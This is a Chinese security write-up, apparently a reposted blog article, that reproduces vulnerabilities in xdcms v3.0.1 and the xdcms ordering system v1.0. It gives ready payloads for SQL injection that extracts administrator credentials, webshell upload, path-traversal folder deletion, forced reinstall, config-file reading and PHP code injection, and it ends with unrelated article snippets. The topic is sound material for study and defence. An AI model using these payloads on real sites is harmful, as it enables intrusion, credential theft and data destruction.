xdcms漏洞合集-漏洞复现

目录

xdcms v3.0.1漏洞

环境搭建

代码审计

目录总览

配置文件总览

登陆处sql注入

漏洞分析

漏洞复现

注册处sql注入漏洞

漏洞分析

漏洞复现

getshell

任意文件删除

xdcms订餐网站管理系统v1.0漏洞

简介

环境搭建

全局变量的覆盖

漏洞分析

漏洞复现

后台任意源码读取

后台getshell

漏洞分析

漏洞复现


xdcms v3.0.1漏洞

环境搭建

1.xdcms_3.0.1 源码,放到WWW目录下面。
源码下载地址:
链接:https://pan.baidu.com/s/1JDRfeyPbbpF5br9t6pcNSw
提取码:zkaq
2.安装,访问( http://127.0.0.1/xdcms_v3.0.1/install/index.php) 一路选择下一步,直到设置页面,创建数据库……安装完成。

图片

图片


输入数据库账号密码(可以选择新建个数据库 xdcms ,不新建也可以,输入数据库的名称即可),点击进行下一步进行网站简单的设置
可以看到安装成功,请牢记您的管理员账户:xdcms , 密码 xdcms,进入后台管理。

图片

代码审计
目录总览

首先可以拿出来 代码审计工具—Seay源代码审计系统进行自动审计,先看一下哪里容易出问题,从而可以不那么盲目。
发现 xdcms 的目录很简单,包括后台 admin ,cache , data , 系统system ,上传uploadfile。自动扫描出了171个可疑漏洞。

图片


这里目录并不是很复杂,也没有采用thinkphp的框架,自己搭建的框架,因此代码还是很容易读懂的!
首先看到目录,先要找数据库文件,是不是存在默认的下载路径,如果通过这种方法,我们就能直接拿到管理员账号密码,那后续就不需要审计什么了。

图片


这里没有什么默认的mdb文件或是sql文件,backup里也为空,因此唯一可能有用的就是config.inc.php文件,但是因为是php,肯定是不显示的,因此这里不存在此类漏洞。
下面我们可以猜测admin肯定是管理员目录,cache为缓存,估计也没什么用。。
install为安装目录,经常出现的就是任意文件删除漏洞,然后利用这种漏洞删除install目录下的lock文件,导致cms可以进行重装。
system目录应该就是整个网站的组成文件,这个文件夹应该是审计的重点!
最后是一个上传文件的目录,这个看看有没有任意文件上传漏洞吧。

配置文件总览

下面先看看有哪些配置文件,哪些文件经常引用到,这类文件往往会贯穿整个网站构建过程,一些重要的过滤函数也一般在这类文件中。

这是index.php文件,我们可以看到两个配置文件,下面逐步跟着这些配置文件进行审计。


<?phpif(!file_exists("data/config.inc.php")){header("location:install/index.php");exit();}require dirname(__FILE__).'/system/common.inc.php';?>

进入config.inc.php文件,主要是数据库配置信息。会看到用的是utf-8字符,因此不存在宽字节注入。

图片


进入system/common.inc.php文件,应该是整个网站的构架文件,可以看到之前说的system目录为系统目录,另外我们需要注意,在最下面一行,又引用了一个fun.inc.php文件,应该是function的配置文件,这类文件往往就是过滤函数的聚集地。

图片


继续仔细看看fun.inc.php文件。这是fun.inc.php的一部分,可以看到这里有两个过滤函数,一个应该是xss过滤,一个是sql过滤。但是这里sql过滤只匹配了小写,因此我们可以利用大小写来进行绕过。因此如果使用了这个safe_html()函数,并且进入了数据库查询,那么这里就一定存在sql注入。

图片

登陆处sql注入
漏洞分析

全局搜索safe_html,很多地方都调用了 但不是所以都存在注入,因为有些地方存在safe_replace与invtal的保护index.php?m=member&f=login_save
没办法绕过,且xdcms会员管理界面(但是我们暂时不能利用,因为实际我们不知道管理后台账号
member会员界面(单引号包裹且传参只经过safe_html过滤..且开启了报错提示,那就可用报错注入)可以利用报错注入,只要是只将safe_html带入数据库的查询则存在注入,这样就能查询出admin表里面的管理员信息。

/system/module/member/index

图片


上面的程序也不是很难读,可以看到POST接收过来登录的账号密码,然后通过 safe_html() 函数 进行过滤,判断是否为空,进而在103行直接带入数据库查询。这里仅仅通过 safe_html() 函数进行了过滤,所以很显然是存在注入的。

漏洞复现

payload:

username=bestorange'or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&submit=+%E7%99%BB+%E5%BD%95+

图片

注册处sql注入漏洞
漏洞分析

现在先熟悉一下流程,可以看到能够进行注册登录。
那就注册一个账号orange,密码orange。

图片

图片


上面看到密码是进行了两次md5加密,接下来看一下代码。
/system/modules/member/index.php

图片


上面的代码很容易读懂,函数是register_save(),注册保存。首先POST接收传过来的参数,判断是不是为空。
66行密码进行两次md5加密,可以看到并没有进行明显的过滤,但是在50行和72行看到了过滤函数safe_html(),下面就开始追踪一下这个函数。


function safe_html($str){if(empty($str)){return;}$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file|outfile/','',$str);return htmlspecialchars($str);}

分析一下这个过滤函数,只是简单的把上面看到的 select ,insert,update 等等替换成了空。
在 safe_html 处虽然过了个SQL注入的敏感词,还过滤了=和,但是没有考虑SQL注入敏感词的大小写,这里只过滤了小写,那么我们用大写绕过,这里过滤的=和,我们可以使用不带*和=的常规保存SQL注入语句。

漏洞复现

这里利用报错注入来进行测试,bestorange’ or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange

payload:

username=bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&password2=bestorange&fields%5Btruename%5D=bestorange&fields%5Bemail%5D=bestorange&submit=+%E6%B3%A8+%E5%86%8C+

图片

getshell

跟着uploadfile文件夹寻找文件上传点,对上传文件后缀进行了限制。
利用admin后台限制的文件格式更改即可上传木马getshell,也可利用上传文件后进行修改后缀。system/function/upload.inc.php(文中有多个文件上传的点)

通过上面注入得到的管理员的账号密码登录后台,成功进入后台管理系统,在 系统设置—>网站配置—>上传设置—>文件/图片上传格式限制。
添加php文件类型,然后进行上传即可。

图片

图片

任意文件删除

全局搜file_get_contents意外收获了unlink任意目录文件删除index.php?m=xdcms&c=data&f=delete&file=../../test

public function delete(){$file=trim($_GET["file"]);$dir=DATA_PATH.'backup/'.$file;if(is_dir($dir)){//删除文件夹中的文件if (false != ($handle = opendir ( $dir ))) {while ( false !== ($file = readdir ( $handle )) ) {if ($file != "." && $file != ".."&&strpos($file,".")) {@unlink($dir."/".$file);}}closedir ( $handle );}@rmdir($dir);//删除目录}showmsg(C('success'),'-1');}

这传入的参数没有过滤也没有白名单,直接拼接进dir,要想触发循环就得进行if判断,所以这里只能是../进行目录遍历可控进行任意文件夹删除。

xdcms订餐网站管理系统v1.0漏洞

简介

XDcms订餐网站管理系统,主要使用Php+Mysql+Smarty技术基础进行开发,采用OOP(面向对象)方式进行基础运行框架搭建,集成在线订餐、团购、积分商城、优惠券、新闻、在线订单、在线支付、生成订单短信/邮箱通知、点评、Google电子地图、问答、并与支付宝、Dz论坛、短信平台接口完美整合等功能于一体的完全开源的高级订餐网站管理系统。作为国内最受欢迎的PHP类订餐网站系统之一,XDcms在不断提升用户服务、提高产品质量的同时更加注重用户体验。从系统研发至今,历经了数百次的更新修改后,网站的架设与管理变得更加轻松及便捷。

环境搭建

图片

图片

图片

全局变量的覆盖
漏洞分析

/ install/index.php

图片


代码的意思是把传入的变量数组遍历赋值,比如 $_GET[‘a’] 赋值为 $a。

传入一个insLockfile判断是否存在。问题在这

图片


将直接跳过判断进行安装。
此时安装的sql数据库文件会记录在 /data/config.inc.php
利用poc:找到可外连的 mysql (自己去爆破)

漏洞复现

直接访问此地址

http://127.0.0.1/xdcms_dc_v1.0/install/index.php?insLockfile=1&step=4&dbhost=localhost&dbname=xdcms&dbuser=root&dbpwd=123456&dbpre=c_&dblang=gbk&adminuser=xdcms&adminpwd=xdcms

图片

后台任意源码读取

漏洞文件:system\modules\xdcms\template.php
在xdcms 目录下看到 template 文件,目测是后台模板编辑。所以首先登陆后台,登陆
http://127.0.0.1/xdcms_dc_v1.0/index.php?m=xdcms&c=template

图片


访问:
http://127.0.0.1/xdcms_dc_v1.0/index.php?m=xdcms&c=template&f=edit&file=../../../data/config.inc.php

图片

图片

图片

后台getshell
漏洞分析

/ system/modules/xdcms/ setting.php

图片

图片


又是用foreach来数组遍历附值。这里的$info[‘siteurl’]是没有经过处理就直接写进来了。

漏洞复现

访问:/index.php?m=xdcms&c=setting

图片

测试我就只加了这个phpinfo
poc:

');?><?php phpinfo();?>http://127.0.0.1/

http://127.0.0.1/xdcms_dc_v1.0/index.php?m=xdcms&c=setting#

图片

申明:本公众号所分享内容仅用于网络安全技术讨论,切勿用于违法途径,

所有渗透都需获取授权,违者后果自行承担,与本号及作者无关,请谨记守法.

图片

没看够~?欢迎关注!

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/136215.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

6个机器学习可解释性框架

1、SHAP SHapley Additive explanation (SHAP)是一种解释任何机器学习模型输出的博弈论方法。它利用博弈论中的经典Shapley值及其相关扩展将最优信贷分配与局部解释联系起来. 举例&#xff1a;基于随机森林模型的心脏病患者预测分类 数据集中每个特征对模型预测的贡献由Shap…

PDF Expert for mac(苹果电脑专业pdf编辑器)兼容12系统

PDF Expert是macOS平台上的一款优秀的PDF阅读和编辑工具&#xff0c;由Readdle公司开发。它不仅拥有方便、易用的界面&#xff0c;还具备诸多功能&#xff0c;比如编辑PDF文件、添加批注、填写表格、签署文件、合并文档等。安装:PDF Expert for Mac(PDF编辑阅读转换器)v3.5.2中…

探讨m6调控因子与人类癌症之间的因果关系,纯生信也能轻松上5+

今天给同学们分享一篇生信文章“m6A Regulators Is Differently Expressed and Correlated With Immune Response of Esophageal Cancer”&#xff0c;这篇文章发表在Front Cell Dev Biol期刊上&#xff0c;影响因子为5.5。 结果解读&#xff1a; m6A调控因子在基因组中的异常与…

【 毕设项目源码推荐 javaweb 项目】 基于 springboot+vue 的图书个性化推荐系统的设计与实现(springboot003)

简介 :::warning 【 毕设项目源码推荐 javaweb 项目】 基于 springbootvue 的图书个性化推荐系统的设计与实现适用于计算机类毕业设计&#xff0c;课程设计参考与学习用途。仅供学习参考&#xff0c; 不得用于商业或者非法用途&#xff0c;否则&#xff0c;一切后果请用户自负…

15.数组逆置【不是为啥我第四行不太对呢?】

#include<stdio.h>int fun(int a[4][4]){int i,j;int b[4][3];} int main(){int i,j;int a[3][4], b[4][3];for (i0;i<3;i)for(j0;j<4;j)scanf("%d",&a[i][j]);for (i0;i<3;i)for(j0;j<4;j)b[j][i]a[i][j];printf("逆置后&#xff1a;\n&…

【Linux】文件重定向以及一切皆文件

文章目录 前言一、重定向二、系统调用dup2三、重定向的使用四、一切皆文件 前言 Linux进程默认情况下会有3个缺省打开的文件描述符&#xff0c;分别是标准输入0&#xff0c; 标准输出1&#xff0c; 标准错误2&#xff0c; 0,1,2对应的物理设备一般是&#xff1a;键盘&#xff…

本地数据库迁移到云端服务器

工具迁移xtrabackup 创建云服务器——通过云服务器提供的公网地址远程连接XShell——利用迁移工具将数据库从本地迁移到云服务器 &#xff08;1&#xff09;创建云服务器 &#xff08;2&#xff09;远程连接XShell &#xff08;3&#xff09;yum安装mysql &#xff08;4&…

梳理自动驾驶中的各类坐标系

目录 自动驾驶中的坐标系定义 关于坐标系的定义 几大常用坐标系 世界坐标系 自车坐标系 传感器坐标系 激光雷达坐标系 相机坐标系 如何理解坐标转换 机器人基础中的坐标转换概念 左乘右乘的概念 对左乘右乘的理解 再谈自动驾驶中的坐标转换 本节参考文献 自动驾驶…

数据结构:Map和Set(2):相关OJ题目

目录 136. 只出现一次的数字 - 力扣&#xff08;LeetCode&#xff09; 771. 宝石与石头 - 力扣&#xff08;LeetCode&#xff09; 旧键盘 (20)__牛客网 (nowcoder.com) 138. 随机链表的复制 - 力扣&#xff08;LeetCode&#xff09; 692. 前K个高频单词 - 力扣&#xff08…

【Qt绘制小猪】以建造者模式绘制小猪

效果 学以致用&#xff0c;使用设计模式之建造者模式绘制小猪。 代码 接口&#xff1a;申明绘制的步骤 PigBuilder.h #ifndef PIGBUILDER_H #define PIGBUILDER_H#include <QObject> #include <QPainter>class PigBuilder : public QObject {Q_OBJECT public:ex…

Vue3 学习笔记

vue3 官网&#xff1a;简介 | Vue.js (vuejs.org) 1. 环境搭建与启动 npm create vuelatest 这一指令将会安装并执行 create-vue&#xff0c;它是 Vue 官方的项目脚手架工具 之后&#xff0c;你将会看到一些诸如 TypeScript 和测试支持之类的可选功能提示&#xff1a; ✔ …

AI 绘画 | Stable Diffusion 高清修复、细节优化

前言 在 Stable Diffusion 想要生成高清分辨率的图片。在文生图的功能里&#xff0c;需要设置更大的宽度和高度。在图生图的功能里&#xff0c;需要设置更大的重绘尺寸或者重绘尺寸。但是设置完更大的图像分辨率&#xff0c;需要更大显存&#xff0c;1024*1024的至少要电脑的空…

介绍两个好用又好玩的大模型工具

先让数字人跟大家打个招呼吧。 我的AI数字人会手语了 发现没&#xff0c;我的数字人本周又学了一个新技能&#xff1a;手语。 这些数字人都是通过AI生成的。 但数字人不是今天的主题&#xff0c;今天要跟大家聊聊大模型。 自从大模型出现后&#xff0c;很多人&#xff08;包…

模态对话框和非模态对话框

创建到堆区这样非模态对话框就不会一闪而过 .exec使程序进入阻塞状态 ()[]{}lambda表达式 55号属性可以在对话框关闭的时候将堆区的内存释放掉从而防止内存泄露

Failed to connect to github.com port 443:connection timed out

解决办法&#xff1a; 步骤1&#xff1a; 在这里插入图片描述 步骤2&#xff1a; -步骤3 &#xff1a;在git终端中执行如下命令&#xff1a; git config --global http.proxy http:ip:port git config --global https.proxy http:ip:port git config --global http.proxy htt…

debian/ubuntu/windows配置wiregurad内网服务器(包含掉线自启动)

文章目录 前言一、服务器配置安装wireguard软件生成私钥公钥配置服务器参数配置服务器sysctl参数启动、停止服务端 二、用户端配置安装wireguard软件生成私钥公钥配置客户端参数启动、停止客户端配置服务开机启动 三、服务器添加、删除客户四、配置掉线自启动配置掉线自启动脚本…

centos的docker镜像下载ffmpeg的方式

ffmpeg是业界比较好用的开源的音频处理工具&#xff0c;当我们在实际业务中使用ffmpeg的时候&#xff0c;直接使用yum安装回提示找不到ffmpeg的包&#xff0c;遇到这种情况&#xff0c;可以通过以下方式来进行安装&#xff08;docker环境&#xff09;。 已经拥有镜像 更新源 …

计算机丢失mfc100.dll如何恢复,详细解析mfc100.dll文件丢失解决方法

在计算机使用过程中&#xff0c;我们可能会遇到一些错误提示&#xff0c;比如“mfc100.dll丢失”。这是因为动态链接库&#xff08;DLL&#xff09;文件是Windows操作系统的重要组成部分&#xff0c;它们包含了许多程序运行所需的函数和数据。当这些DLL文件丢失或损坏时&#x…

在已有的虚拟环境中升级python版本

对于现有的虚拟环境&#xff0c;想升级python版本方法&#xff0c;试了无数的方法终于找对了。 1.首先activate对应的虚拟环境&#xff0c;然后输入下面的命令&#xff1a; conda install python3.8 建议加上镜像源 ​conda install python3.8 -i https://pypi.tuna.tsingh…

说话人识别声纹识别CAM++,ECAPA-TDNN等算法

参考:https://www.modelscope.cn/models?page=1&tasks=speaker-verification&type=audio https://github.com/alibaba-damo-academy/3D-Speaker/blob/main/requirements.txt 单个声纹比较可以直接modelscope包运行 from modelscope.pipelines import pipeline sv_pi…